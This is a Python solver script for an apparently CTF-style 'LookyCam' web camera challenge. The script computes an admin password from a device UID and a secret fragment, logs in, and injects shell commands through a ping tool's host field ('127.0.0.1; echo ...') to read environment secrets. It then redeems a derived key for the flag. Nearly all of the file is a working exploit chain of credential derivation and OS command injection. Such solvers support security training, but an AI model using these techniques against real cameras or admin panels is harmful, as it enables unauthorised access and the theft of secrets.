Files
Kubok-Regionov/GAME/camera/solve_camera.py
2025-12-22 05:19:38 +03:00

153 lines
4.6 KiB
Python

#!/usr/bin/env python3
import argparse
import hashlib
import http.cookiejar
import os
import re
import sys
from typing import Optional, Tuple
from urllib import parse, request
def sha1_hex(value: str) -> str:
return hashlib.sha1(value.encode("utf-8")).hexdigest()
def normalize_base(raw: str) -> str:
if "://" not in raw:
raw = "http://" + raw
return raw.rstrip("/")
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
if cli_value:
return cli_value
env_value = os.getenv("PWD_PART_A")
if env_value:
return env_value
candidates = [
os.path.join(os.getcwd(), "web_camera_5.yml"),
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
]
for path in candidates:
if not os.path.exists(path):
continue
try:
data = open(path, "r", encoding="utf-8", errors="ignore").read()
except OSError:
continue
match = re.search(r"PWD_PART_A=([^\s]+)", data)
if match:
return match.group(1)
return None
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
resp = opener.open(base + "/login")
uid = resp.headers.get("X-Device-Id")
if uid:
return uid.strip()
body = resp.read().decode("utf-8", errors="ignore")
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
return match.group(1) if match else None
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
return any(cookie.name == name for cookie in cj)
def login(
opener: request.OpenerDirector,
cj: http.cookiejar.CookieJar,
base: str,
uid: str,
part_a: str,
) -> str:
password = sha1_hex(f"{part_a}:{uid}")[:10]
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
req = request.Request(base + "/login", data=data, method="POST")
opener.open(req).read()
if not has_cookie(cj, "sid"):
raise RuntimeError("login failed: no session cookie")
return password
def find_flag(text: str) -> Optional[str]:
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
return match.group(0) if match else None
def exploit_ping(
opener: request.OpenerDirector,
base: str,
) -> Tuple[Optional[str], Optional[str], str]:
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
data = parse.urlencode({"host": payload}).encode("utf-8")
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
rce_match = re.search(r"RCE:([^\s<]+)", text)
partc_match = re.search(r"PARTC:([^\s<]+)", text)
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
part_c = partc_match.group(1) if partc_match else None
return rce_flag, part_c, text
def redeem_flag(
opener: request.OpenerDirector,
base: str,
part_a: str,
part_c: str,
uid: str,
) -> Tuple[str, Optional[str]]:
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
data = parse.urlencode({"key": key}).encode("utf-8")
req = request.Request(base + "/admin/redeem", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
return key, find_flag(text)
def main() -> int:
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
args = parser.parse_args()
base = normalize_base(args.url)
part_a = read_part_a(args.part_a)
if not part_a:
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
return 2
cj = http.cookiejar.CookieJar()
opener = request.build_opener(request.HTTPCookieProcessor(cj))
uid = get_uid(opener, base)
if not uid:
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
return 2
try:
password = login(opener, cj, base, uid, part_a)
except RuntimeError as exc:
print(str(exc), file=sys.stderr)
return 2
rce_flag, part_c, _ = exploit_ping(opener, base)
if not part_c:
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
return 2
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
print(f"uid: {uid}")
print(f"login_password: {password}")
print(f"rce_flag: {rce_flag or 'not found'}")
print(f"part_c: {part_c}")
print(f"redeem_key: {key}")
print(f"final_flag: {final_flag or 'not found'}")
return 0
if __name__ == "__main__":
raise SystemExit(main())